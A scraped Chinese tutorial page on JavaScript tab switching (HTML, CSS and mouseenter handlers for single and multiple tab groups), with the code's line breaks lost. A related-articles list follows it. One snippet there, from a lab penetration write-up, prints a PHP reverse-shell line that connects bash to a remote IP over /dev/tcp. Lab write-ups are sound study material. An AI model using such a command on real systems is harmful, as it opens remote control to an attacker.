前端-js例子:tab切换

实现效果:


实现步骤:

1. body内容元素

 <div class="container"><ul class="top_title"><li class="first" index="1">title1</li><li index="2">title2</li><li index="3">title3</li><li index="4">title4</li></ul><div class="tab_content"><div>content1</div><div>content2</div><div>content3</div><div>content4</div></div></div>

2.定义css,修改样式

1>外边框

*{padding: 0;margin: 0;}

2>修改内容样式 (让第一个li展示)

.container{width: 30%;height: 30vh;margin: 40px auto;}.container .top_title{display: flex;}.container .top_title li{list-style: none;border: 1px solid black;margin-right: 2px;padding: 4px;cursor: pointer;border-bottom: none;}.container .top_title .first{color: #fff;background-color: lightgray;border-color: black;}.container .tab_content{border: 1px solid black;height: 30vh;}.container .tab_content div{height: 100%;background-color: aqua;display: none;}.container .tab_content div:first-child{display: block;background-color: lightblue;}

 3.js实现样式变化

    window.onload=function(){var tab_title_li=document.querySelectorAll(".top_title li")var tab_content_div=document.querySelectorAll(".tab_content div")console.log(tab_title_li)for(var i=0;i<tab_title_li.length;i++){// 初始化头部的index属性tab_title_li[i].setAttribute("index",i)// 绑定事件tab_title_li[i].onmouseenter=function(){// 事件触发后标题部分样式有变化+console.log(this)for(var j=0;j<tab_title_li.length;j++){tab_title_li[j].className=""}this.className="first"// 内容部分变化console.log(this.getAttribute("index"))for(var k=0;k<tab_content_div.length;k++){if(k==this.getAttribute("index")){tab_content_div[k].style.display="block"tab_content_div[k].style.background="lightblue";}else{tab_content_div[k].style.display="none"}}}}

2.多tab切换

实现效果:

实现步骤:

1.body部分多来几个tab元素
<body><div class="container"><ul class="top_title"><li class="first" index="1">title1</li><li index="2">title2</li><li index="3">title3</li><li index="4">title4</li></ul><div class="tab_content"><div>content1</div><div>content2</div><div>content3</div><div>content4</div></div></div><div class="container"><ul class="top_title"><li class="first" index="1">title1</li><li index="2">title2</li><li index="3">title3</li><li index="4">title4</li></ul><div class="tab_content"><div>content1</div><div>content2</div><div>content3</div><div>content4</div></div></div><div class="container"><ul class="top_title"><li class="first" index="1">title1</li><li index="2">title2</li><li index="3">title3</li><li index="4">title4</li></ul><div class="tab_content"><div>content1</div><div>content2</div><div>content3</div><div>content4</div></div></div>
</body>
2.css样式设计

同以上相同

3.js实现切换

在这里需要注意每个数组的转换

 var container=document.querySelectorAll(".container")console.log(container)for(var h=0;h<container.length;h++){// console.log(container[h])// 每一组的标题部分var tab_title_li=container[h].querySelectorAll("li")console.log(tab_title_li)for(var i=0;i<tab_title_li.length;i++){// 绑定index属性tab_title_li[i].setAttribute("index",i)// 绑定事件tab_title_li[i].onmouseenter=function(){// 样式切换// console.log(this.parentNode.children)var first_tab_title_li=this.parentNode.childrenfor(var j=0;j<first_tab_title_li.length;j++){first_tab_title_li[j].className=""}this.className="first"// 内容切换// 获取当前被点击的元素身上的index属性值var first_index=this.getAttribute("index")// console.log(first_index)// 获取被点击li所在的组内所有内容元素var first_tab_content_div=this.parentNode.nextElementSibling.childrenfor(var k=0;k<first_tab_content_div.length;k++){if(first_index==k){first_tab_content_div[k].style.display="block"first_tab_content_div[k].style.background="lightblue"}else{first_tab_content_div[k].style.display="none"}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/146537.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Prime1 靶机渗透 ( openssl 解密 ,awk 字符串处理,信息收集)

简介 Prime1 的另一种解法 起步 从初级shell开始 反弹 shell 路径 http://192.168.50.153/wordpress/wp-content/themes/twentynineteen/secret.php 其内的 shell 为 <?php eval("/bin/bash -c bash -i >& /dev/tcp/192.168.50.147/443 0>&1"…

Vue使用axios二次封装、解决跨域问题

1、什么是 axios 在实际开发过程中&#xff0c;浏览器通常需要和服务器端进行数据交互。而 Vue.js 并未提供与服务器端通信的接口。从 Vue.js 2.0 版本之后&#xff0c;官方推荐使用 axios 来实现 Ajax 请求。axios 是一个基于 promise 的 HTTP 客户端。 关于 promise 的详细介…

专为汽车功能应用打造的 MLX90376GGO、MLX90377GGO、MLX90377GDC-ADB-280 Triaxis®磁位置传感器 IC

一、MLX90376 Triaxis堆叠式高性能位置传感器芯片&#xff08;模拟/PWM/SENT/SPC&#xff09; MLX90376GGO-ABA-600 MLX90376GGO-ABA-630 MLX90376GGO-ABA-680 MLX90376是一款磁性绝对位置传感器芯片&#xff0c;适用于要求具备抗杂散磁场干扰性能的360旋转汽车应用。它提供…

Matlab进阶绘图第68期—带分组折线段的分区柱状图

上一篇文章分享了分区柱状图的绘制方法&#xff1a; 带分组折线段的分区柱状图是在原始分区柱状图的基础上&#xff0c;再添加分组折线段&#xff0c;用以增加一个对象的表达。 由于Matlab中未收录的带分组折线段的分区柱状图的绘制方法&#xff0c;因此需要大家自行解决。 本…

C++进阶(2):多态

多态的概念 多态分为编译时多态(静态多态)和运行时多态(动态多态)。**编译时多态&#xff1a;**主要就是我们前面讲的函数重载和函数模版。之所以叫编译时多态&#xff0c;是因为实参传给形参的参数匹配是发生在编译时完成的&#xff08;ps&#xff1a;通常把编译时一般归为静…

Java项目实战II基于Java+Spring Boot+MySQL的网上租贸系统设计与实现(开发文档+源码+数据库)

目录 一、前言 二、技术介绍 三、系统实现 四、论文参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 "随着…

面试-设计模式

策略模式 定义了一组算法&#xff0c;分别封装起来&#xff0c;这些算法直接可以相互替换 设计模式的开闭原则&#xff1a;对修改关闭&#xff0c;对扩展开放 装饰模式 将某种算法作为一个装饰品添加到对象身上&#xff0c;同时可以自由穿戴更换装饰品 两个主要的角色&…

游戏淡入淡出效果

一、制作UIdocument 注&#xff1a;是全黑的&#xff1b;并且Picking Mode设置为Igore 通过调节display中的值&#xff0c;实现淡入淡出效果 二、建立空物体 增加uiDocument 拖入相关的物体 注&#xff1a;层级必须设置为最高&#xff0c;此处为20&#xff0c;这个效果必须遮…

MySQL深入原理

MySQL深入原理 索引、事务、日志原理、InnoDB引擎、缓存、锁 有4个数据库是属于MySQL自带的系统数据库&#xff1a; ​ mysql MySQL 系统自带的核心数据库&#xff0c;它存储了MySQL的用户账户和权限信息&#xff0c;一些存储过程、事件的定义信息&#xff0c;一些运行过程中…

波分技术基础 -- Liquid OTN

什么是Liquid OTN 传统OTN技术主要定位于骨干网和城域网应用&#xff0c;主要用于承载大于1Gbits/s速率业务&#xff0c;在OTN下沉到城域/接入网后&#xff0c;面临如下问题&#xff1a;管道弹性不足&#xff08;最小管道ODU0&#xff09;、连接数少、带宽调整不够灵活等挑战。…

yolov5/8/9模型在COCO分割数据集上的应用【代码+数据集+python环境+GUI系统】

yolov5/8/9模型在COCO分割数据集上的应用【代码数据集python环境GUI系统】 yolov5/8/9模型在COCO分割数据集上的应用【代码数据集python环境GUI系统】 1.COCO数据集介绍 COCO数据集&#xff0c;全称为Microsoft Common Objects in Context&#xff0c;是微软于2014年出资标注的…

更换硬盘后,电脑装完系统进不去?或PE能识别硬盘但开机/启动/BIOS识别不了硬盘解决办法

由于现在的电脑主板&#xff0c;默认都是UEFI启动&#xff0c;硬盘只有使用GUID分区表&#xff0c;主板BIOS才找得到系统引导&#xff01; 而当我们拿到一块新硬盘&#xff0c;使用分区工具默认类型分区&#xff0c;默认是MBR类型&#xff0c;所以这种分区的硬盘&#xff0c;B…

解决Windows10关闭UAC后,开机启动项不生效的问题

Windows10关闭UAC后&#xff0c;会发现启动项不生效。 运行输入gpedit.msc打开组策略&#xff08;家庭版没有组策略功能&#xff09; 依次展开计算机配置-》Windows设置-》安全设置-》本地策略-》安全选项-》用户账户控制&#xff1a;以管理员批准模式运行所有管理员&#xf…

VGG16模型实现新冠肺炎图片多分类

1. 项目简介 本项目的目标是通过深度学习模型VGG16&#xff0c;实现对新冠肺炎图像的多分类任务&#xff0c;以帮助医疗人员对患者的影像进行快速、准确的诊断。新冠肺炎自爆发以来&#xff0c;利用医学影像如X光和CT扫描进行疾病诊断已成为重要手段之一。随着数据量的增加&am…

ETCD学习使用

一、介绍 etcd&#xff08;分布式键值存储&#xff09;是一个开源的分布式系统工具&#xff0c;用于可靠地存储和提供键值对数据。etcd 通常通过 HTTP 或 gRPC 提供 API&#xff0c;允许应用程序通过简单的接口与其交互。由于其可靠性和稳定性&#xff0c;etcd 在构建可扩展、分…

【Linux笔记】如何将内容从一个文件复制到另一个文件

比如&#xff1a;将文件tmp_file.txt中的部分数据&#xff0c;复制到file01.txt中去 tmp_file.txt文中内容&#xff1a; file01.txt为空文档 一、使用vi编辑器 I、文件中直接使用:e 目标文件进行切换文件复制 1、打开被复制文件 vi tmp_file.txt 2、进入一般命令模式 默认情况为…

电机学习-有感BLDC开环控制(六步换相)

文章目录 1. 简介2. 六步换向控制3. 机械角度和电角度4.转子位置获取5.霍尔传感器读取测试6.速度开环控制6.1 PWM设置6.2死区时间 1. 简介 BLDC的反电动势一般是梯形的反电动势&#xff0c;所以采用方波控制。如图2-1所示&#xff0c;是一个简化的内转子无刷直流电机。我们通过…

Remix在SPA模式下,出现ErrorBoundary错误页加载Ant Design组件报错,不能加载样式的问题

Remix是一个既能做服务端渲染&#xff0c;又能做单页应用的框架&#xff0c;如果想做单页应用&#xff0c;又想学服务端渲染&#xff0c;使用Remix可以降低学习成本。最近&#xff0c;在学习Remix的过程中&#xff0c;遇到了在SPA模式下与Ant Design整合的问题。 我用Remix官网…

自动化立体仓库与堆垛机单元的技术参数

导语 大家好&#xff0c;我是社长&#xff0c;老K。专注分享智能制造和智能仓储物流等内容。 新书《智能物流系统构成与技术实践》人俱乐部 完整版文件和更多学习资料&#xff0c;请球友到知识星球【智能仓储物流技术研习社】自行下载。 这份文件是一份自动化立体仓库与堆垛机单…

ViT模型

Vision Transformer (ViT) 论文地址&#xff1a;https://arxiv.org/abs/2010.11929 输入到MLP类别分类器中的特征只有类别token 经过N层transformer编码器处理后的特征的维度与输入前相同&#xff0c;均为[197&#xff0c;768]&#xff0c;我们只使用列表切片的方式提取出类…